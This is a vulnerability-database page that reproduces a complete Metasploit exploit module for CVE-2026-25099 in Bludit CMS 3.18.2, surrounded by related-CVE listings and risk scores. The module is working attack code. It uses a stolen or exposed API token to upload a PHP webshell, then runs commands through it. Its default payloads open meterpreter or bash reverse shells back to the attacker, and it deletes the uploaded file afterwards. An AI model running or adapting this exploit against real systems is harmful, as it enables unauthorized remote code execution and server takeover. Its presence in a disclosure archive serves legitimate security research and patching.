Lucene search
K

📄 Bludit CMS 3.18.2 Shell Upload

🗓️ 21 Apr 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 67 Views

Bludit CMS 3.18.2 API file upload enables users to upload arbitrary files and execute code.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2026-25099
28 Mar 202611:40
githubexploit
ATTACKERKB
CVE-2026-25101
27 Mar 202611:55
attackerkb
ATTACKERKB
CVE-2026-25100
27 Mar 202611:55
attackerkb
ATTACKERKB
CVE-2026-25099
27 Mar 202611:55
attackerkb
Circl
CVE-2026-25099
27 Mar 202610:55
circl
Circl
CVE-2026-25100
27 Mar 202610:55
circl
CNNVD
Bludit 跨站脚本漏洞
27 Mar 202600:00
cnnvd
CNNVD
Bludit 授权问题漏洞
27 Mar 202600:00
cnnvd
CNNVD
Bludit 代码问题漏洞
27 Mar 202600:00
cnnvd
CVE
CVE-2026-25099
27 Mar 202611:55
cve
Rows per page
==================================================================================================================================
    | # Title     : Bludit CMS 3.18.2 Unrestricted File Upload Leading to Remote Code Execution                                      |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://github.com/bludit/bludit/archive/refs/tags/3.18.2.zip                                                    |
    ==================================================================================================================================
    
    [+] Summary    : This Metasploit module targets a vulnerability in Bludit CMS (API file upload mechanism) that allows authenticated users with a valid API token to upload arbitrary files without proper validation.
    
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
      include Msf::Exploit::CmdStager
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Bludit CMS API Unrestricted File Upload to RCE',
            'Description' => %q{
              Bludit CMS API plugin allows an authenticated user with a valid API token
              to upload files of any type and extension via POST /api/files/<page-key>.
    
              The uploadFile() function performs no file extension or content validation,
              allowing upload of PHP webshells that execute as www-data.
    
              The API token is generated when the API plugin is activated and is visible
              to users with admin panel access. Tokens may also be exposed through
              misconfiguration, log files, or other application vulnerabilities.
    
              This module exploits the unrestricted file upload to upload a PHP payload
              and execute arbitrary commands on the target system.
    
              Tested on Bludit 3.18.2 on Ubuntu 24.04 LTS / Apache 2.4 / PHP 8.3.
            },
            'Author' => [
              'indoushka'
            ],
            'References' => [
              ['CVE', '2026-25099'],
              ['URL', 'https://github.com/bludit/bludit'],
              ['URL', 'https://yh.do']
            ],
            'License' => MSF_LICENSE,
            'Platform' => ['php', 'unix', 'linux'],
            'Arch' => [ARCH_PHP, ARCH_CMD],
            'Targets' => [
              [
                'PHP In-Memory',
                {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP,
                  'Type' => :php_memory,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'php/meterpreter/reverse_tcp'
                  }
                }
              ],
              [
                'Unix Command',
                {
                  'Platform' => 'unix',
                  'Arch' => ARCH_CMD,
                  'Type' => :unix_cmd,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/unix/reverse_bash'
                  }
                }
              ],
              [
                'Linux Dropper',
                {
                  'Platform' => 'linux',
                  'Arch' => [ARCH_X86, ARCH_X64],
                  'Type' => :linux_dropper,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
                  }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '2026-03-28',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'Base path for Bludit installation', '/']),
          OptString.new('API_TOKEN', [true, 'Bludit API authentication token', '']),
          OptString.new('PAGE_KEY', [false, 'Specific page key to use (if not provided, will auto-discover)', '']),
          OptInt.new('SHELL_TIMEOUT', [true, 'Timeout for shell commands in seconds', 10])
        ])
    
        register_advanced_options([
          OptString.new('SHELL_FILENAME', [false, 'Custom webshell filename (random if not set)', '']),
          OptBool.new('CLEANUP', [true, 'Delete uploaded shell after session', true])
        ])
      end
    
      def setup
        @base_uri = normalize_uri(target_uri.to_s)
        @api_token = datastore['API_TOKEN']
        @page_key = datastore['PAGE_KEY']
        @shell_filename = datastore['SHELL_FILENAME'] || "#{Rex::Text.rand_text_alpha_lower(8)}.php"
        @shell_url = nil
        @uploaded = false
      end
    
      def check
        print_status("Checking Bludit CMS version and API accessibility...")
    
        res = send_request_cgi({
          'uri' => normalize_uri(@base_uri, 'api', 'pages'),
          'method' => 'GET',
          'vars_get' => { 'token' => @api_token }
        })
    
        return Exploit::CheckCode::Unknown('No response from target') unless res
    
        if res.code == 200
          begin
            json = JSON.parse(res.body)
    
            if json['status'] == '0' && json['data'].is_a?(Array)
              print_good("API token appears valid")
    
              res_version = send_request_cgi({
                'uri' => normalize_uri(@base_uri, 'bl-kernel', 'version.php'),
                'method' => 'GET'
              })
    
              if res_version && res_version.code == 200
                if res_version.body =~ /BLUDIT_VERSION["']\s*,\s*['"]([^'"]+)['"]/
                  version = Regexp.last_match(1)
    
                  print_status("Detected Bludit version: #{version}")
    
                  if Rex::Version.new(version) < Rex::Version.new('3.18.4')
                    print_good("Version #{version} appears vulnerable (fixed in 3.18.4)")
                    return Exploit::CheckCode::Appears
                  else
                    print_warning("Version #{version} may be patched")
                    return Exploit::CheckCode::Detected
                  end
                end
              end
    
              return Exploit::CheckCode::Vulnerable('API accessible, likely vulnerable')
            else
              return Exploit::CheckCode::Safe('API token invalid or no access')
            end
    
          rescue JSON::ParserError
            return Exploit::CheckCode::Unknown('Invalid JSON response')
          end
        elsif [401, 403].include?(res.code)
          return Exploit::CheckCode::Safe('Unauthorized API token')
        else
          return Exploit::CheckCode::Safe("HTTP #{res.code}")
        end
      end
    
      def get_page_key
        unless @page_key.to_s.empty?
          print_status("Using provided page key: #{@page_key}")
          return @page_key
        end
    
        res = send_request_cgi({
          'uri' => normalize_uri(@base_uri, 'api', 'pages'),
          'method' => 'GET',
          'vars_get' => { 'token' => @api_token }
        })
    
        unless res && res.code == 200
          fail_with(Failure::UnexpectedReply, "Failed to retrieve pages")
        end
    
        json = JSON.parse(res.body) rescue nil
    
        if json && json['status'] == '0' && json['data'].is_a?(Array) && !json['data'].empty?
          page_key = json['data'][0]['key']
          print_good("Found page key: #{page_key}")
          return page_key
        end
    
        fail_with(Failure::NotFound, 'No valid page key found')
      end
    
      def upload_payload(payload_content, payload_filename)
        print_status("Uploading payload: #{payload_filename}")
    
        fail_with(Failure::BadConfig, 'Page key missing') unless @page_key
    
        data = Rex::MIME::Message.new
        data.add_part(@api_token, nil, nil, 'form-data; name="token"')
        data.add_part(payload_content, 'application/x-php', nil,
                      "form-data; name=\"file\"; filename=\"#{payload_filename}\"")
    
        res = send_request_cgi({
          'uri' => normalize_uri(@base_uri, 'api', 'files', @page_key),
          'method' => 'POST',
          'ctype' => "multipart/form-data; boundary=#{data.bound}",
          'data' => data.to_s
        })
    
        fail_with(Failure::Unreachable, 'No response') unless res
    
        if res.code == 200
          json = JSON.parse(res.body) rescue {}
    
          if json['status'] == '0' || res.body.include?('success')
            shell_url = normalize_uri(@base_uri, 'bl-content', 'uploads', 'pages', @page_key, payload_filename)
            print_good("Uploaded: #{shell_url}")
            return shell_url
          end
    
          fail_with(Failure::UnexpectedReply, 'Upload failed')
        end
    
        fail_with(Failure::UnexpectedReply, "HTTP #{res.code}")
      end
    
      def execute_command_php(shell_url, cmd)
        res = send_request_cgi({
          'uri' => shell_url,
          'method' => 'GET',
          'vars_get' => { 'cmd' => cmd },
          'timeout' => datastore['SHELL_TIMEOUT']
        })
    
        return unless res && res.code == 200
    
        res.body.to_s
      end
    
      def execute_command(cmd, opts = {})
        return unless @shell_url
    
        command = cmd.is_a?(Array) ? cmd.join(' ') : cmd
        print_status("Executing: #{command}")
    
        output = execute_command_php(@shell_url, command)
    
        print_status("Output:\n#{output}") if output
      end
    
      def exploit
        print_status("Bludit RCE Exploit")
    
        @page_key = get_page_key
    
        @payload_name = @shell_filename
        webshell = "<?php #{payload.encoded} ?>"
        @shell_url = upload_payload(webshell, @payload_name)
        @uploaded = true
    
        register_file_for_cleanup("bl-content/uploads/pages/#{@page_key}/#{@payload_name}")
    
        send_request_cgi({ 'uri' => @shell_url, 'method' => 'GET' })
    
        handler
      end
    
      def on_new_session(session)
        super
    
        return unless datastore['CLEANUP'] && @uploaded && @shell_url && @payload_name
    
        begin
          upload_path = "bl-content/uploads/pages/#{@page_key}/#{@payload_name}"
    
          if session.type == 'meterpreter'
            session.fs.file.rm(upload_path)
          elsif session.type == 'shell'
            session.shell_write("rm -f #{upload_path}\n")
          end
        rescue
          print_warning("Manual cleanup required")
        end
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Apr 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.18.8
CVSS 48.7
EPSS0.00458
SSVC
67